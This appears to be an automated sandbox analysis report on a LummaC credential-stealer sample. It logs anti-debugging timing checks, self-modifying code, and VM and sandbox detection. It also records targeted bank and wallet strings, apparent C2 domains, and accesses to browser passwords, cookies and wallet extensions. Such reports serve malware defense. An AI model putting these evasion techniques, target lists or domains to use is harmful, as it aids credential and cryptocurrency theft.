Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A10BE9 second address: 4A10C23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F588136DCBDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c pushad 0x0000000d push eax 0x0000000e mov ebx, 38001ABEh 0x00000013 pop edx 0x00000014 call 00007F588136DCC4h 0x00000019 mov edx, ecx 0x0000001b pop esi 0x0000001c popad 0x0000001d push eax 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 pop edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A10C23 second address: 4A10C73 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F588123DB94h 0x00000008 xor al, FFFFFFE8h 0x0000000b jmp 00007F588123DB8Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushfd 0x00000016 jmp 00007F588123DB96h 0x0000001b add ch, 00000048h 0x0000001e jmp 00007F588123DB8Bh 0x00000023 popfd 0x00000024 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A10C73 second address: 4A10CA5 instructions: 0x00000000 rdtsc 0x00000002 mov si, 34BFh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F588136DCC0h 0x00000011 xor ecx, 1CA357A8h 0x00000017 jmp 00007F588136DCBBh 0x0000001c popfd 0x0000001d push eax 0x0000001e push edx 0x0000001f mov al, 2Bh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A10CD3 second address: 4A10CD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A10CD9 second address: 4A10CDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A10CDD second address: 4A10CE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Special instruction interceptor: First address: 878BFA instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Special instruction interceptor: First address: 878CF1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Special instruction interceptor: First address: A1C807 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Special instruction interceptor: First address: A1AC5F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Special instruction interceptor: First address: 8763E6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Special instruction interceptor: First address: AAC52E instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\yuij5p5p3W.exe TID: 2232	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe TID: 2616	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe TID: 6200	Thread sleep time: -240000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\yuij5p5p3W.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\yuij5p5p3W.exe

Last function: Thread delayed

Source: Amcache.hve.6.dr	Binary or memory string: VMware
Source: yuij5p5p3W.exe, 00000000.00000003.2345507694.00000000053F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: yuij5p5p3W.exe, 00000000.00000003.2345507694.00000000053F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: yuij5p5p3W.exe, 00000000.00000003.2345507694.00000000053F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: yuij5p5p3W.exe, 00000000.00000003.2345507694.00000000053F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: Amcache.hve.6.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: yuij5p5p3W.exe, 00000000.00000002.2628488082.00000000006D7000.00000004.00000020.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000002.2628488082.0000000000720000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: yuij5p5p3W.exe, 00000000.00000003.2345507694.00000000053F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Amcache.hve.6.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: yuij5p5p3W.exe, 00000000.00000003.2345507694.00000000053F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Amcache.hve.6.dr	Binary or memory string: vmci.sys
Source: yuij5p5p3W.exe, 00000000.00000003.2345507694.00000000053F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: yuij5p5p3W.exe, 00000000.00000003.2345507694.00000000053F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: yuij5p5p3W.exe, 00000000.00000003.2345507694.00000000053F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: yuij5p5p3W.exe, 00000000.00000003.2345507694.00000000053F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: yuij5p5p3W.exe, 00000000.00000003.2345507694.00000000053F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: yuij5p5p3W.exe, 00000000.00000003.2345507694.00000000053F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.6.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: yuij5p5p3W.exe, 00000000.00000003.2345507694.00000000053F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Amcache.hve.6.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.6.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.6.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: yuij5p5p3W.exe, 00000000.00000003.2345507694.00000000053F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: yuij5p5p3W.exe, 00000000.00000003.2345507694.00000000053F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: Amcache.hve.6.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: yuij5p5p3W.exe, yuij5p5p3W.exe, 00000000.00000002.2630104021.00000000009FF000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: yuij5p5p3W.exe, 00000000.00000003.2345507694.00000000053F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.6.dr	Binary or memory string: VMware, Inc.
Source: yuij5p5p3W.exe, 00000000.00000003.2345507694.00000000053F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.6.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.6.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: yuij5p5p3W.exe, 00000000.00000003.2345507694.00000000053F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: Amcache.hve.6.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: yuij5p5p3W.exe, 00000000.00000003.2345507694.00000000053F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: yuij5p5p3W.exe, 00000000.00000003.2345507694.00000000053F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: yuij5p5p3W.exe, 00000000.00000003.2345507694.00000000053F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: yuij5p5p3W.exe, 00000000.00000003.2345507694.00000000053F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Amcache.hve.6.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: yuij5p5p3W.exe, 00000000.00000003.2345507694.00000000053F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: yuij5p5p3W.exe, 00000000.00000003.2345507694.00000000053F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: yuij5p5p3W.exe, 00000000.00000003.2345507694.00000000053F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Amcache.hve.6.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: yuij5p5p3W.exe, 00000000.00000003.2345507694.00000000053F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: yuij5p5p3W.exe, 00000000.00000003.2345507694.00000000053F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: yuij5p5p3W.exe, 00000000.00000003.2345507694.00000000053F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: yuij5p5p3W.exe, 00000000.00000003.2345507694.00000000053F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Amcache.hve.6.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin`
Source: yuij5p5p3W.exe, 00000000.00000003.2345507694.00000000053F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Amcache.hve.6.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: yuij5p5p3W.exe, 00000000.00000003.2345507694.00000000053F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Amcache.hve.6.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: yuij5p5p3W.exe, 00000000.00000003.2345507694.00000000053F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: Amcache.hve.6.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: yuij5p5p3W.exe, 00000000.00000002.2630104021.00000000009FF000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: yuij5p5p3W.exe, 00000000.00000003.2345507694.00000000053F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h

Source: C:\Users\user\Desktop\yuij5p5p3W.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\yuij5p5p3W.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\yuij5p5p3W.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: NTICE
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: SICE
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\yuij5p5p3W.exe

Code function: 0_2_0084C8B1 LdrInitializeThunk,

0_2_0084C8B1

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: yuij5p5p3W.exe	String found in binary or memory: bashfulacid.lat
Source: yuij5p5p3W.exe	String found in binary or memory: curverpluch.lat
Source: yuij5p5p3W.exe	String found in binary or memory: tentabatte.lat
Source: yuij5p5p3W.exe	String found in binary or memory: shapestickyr.lat
Source: yuij5p5p3W.exe	String found in binary or memory: talkynicer.lat
Source: yuij5p5p3W.exe	String found in binary or memory: slipperyloo.lat
Source: yuij5p5p3W.exe	String found in binary or memory: manyrestro.lat
Source: yuij5p5p3W.exe	String found in binary or memory: observerfry.lat
Source: yuij5p5p3W.exe	String found in binary or memory: wordyfindy.lat

Source: yuij5p5p3W.exe, 00000000.00000002.2630876728.0000000000A43000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: os9lEProgram Manager
Source: yuij5p5p3W.exe, yuij5p5p3W.exe, 00000000.00000002.2630876728.0000000000A43000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: s9lEProgram Manager

Source: C:\Users\user\Desktop\yuij5p5p3W.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\yuij5p5p3W.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.6.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: MsMpEng.exe

Source: C:\Users\user\Desktop\yuij5p5p3W.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: yuij5p5p3W.exe PID: 7108, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: yuij5p5p3W.exe, 00000000.00000003.2435146758.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ":[""],"z":"Wallets/JAXX New Version","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Electrum\\wallets","m":[""],"z":"Wal
Source: yuij5p5p3W.exe, 00000000.00000003.2435146758.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 20},{"t":0,"p":"%appdata%\\ElectronCash\\wallets","m":["*"],"z":"Wallets/ElectronCash","d":0,"fs":20971520},{"t":0,"p":"n
Source: yuij5p5p3W.exe, 00000000.00000003.2435146758.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: age.json","window-state.json"],"z":"Wallets/Binance","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\com.liberty.jaxx\\Index
Source: yuij5p5p3W.exe, 00000000.00000003.2435146758.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: age.json","window-state.json"],"z":"Wallets/Binance","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\com.liberty.jaxx\\Index
Source: yuij5p5p3W.exe, 00000000.00000003.2435146758.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallethkakfo
Source: yuij5p5p3W.exe	String found in binary or memory: ExodusWeb3
Source: yuij5p5p3W.exe, 00000000.00000003.2435146758.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":["*"],"z":"Wa
Source: yuij5p5p3W.exe, 00000000.00000003.2368635519.000000000076A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: yuij5p5p3W.exe, 00000000.00000003.2435146758.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":["*"],"z":"Wa

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
